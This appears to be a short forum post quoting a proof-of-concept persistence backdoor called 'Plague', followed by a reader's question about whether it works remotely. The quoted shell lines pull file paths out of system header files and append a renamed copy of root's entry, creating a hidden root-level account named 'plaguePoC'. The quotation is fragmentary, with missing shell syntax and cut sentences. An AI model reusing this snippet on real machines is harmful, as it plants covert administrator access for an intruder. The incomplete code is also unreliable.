Plague is an odd proof of concept backdoor keeping
tool based on the premise of using existing system
files and commands to keep and maintain a backdoor

BSD, Solaris, etc., but I didn't feel like doing
the work...


(from the link)

if [ -e /usr/include/paths.h ]


        file=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
        sed -n '1p' $file|sed 's/root/plaguePoC/g' >> $file
        file2=`awk 'NR==74 {print $8}' /usr/include/sysexits.h`
        sed -n '1p' $file2|sed 's/root/plaguePoC/g' >> $file2   



So this backdoor wouldnt work remotely, correct? You would need to add
the user to the people allowed to ssh in, and poke a hole for ssh in
the firewall./?
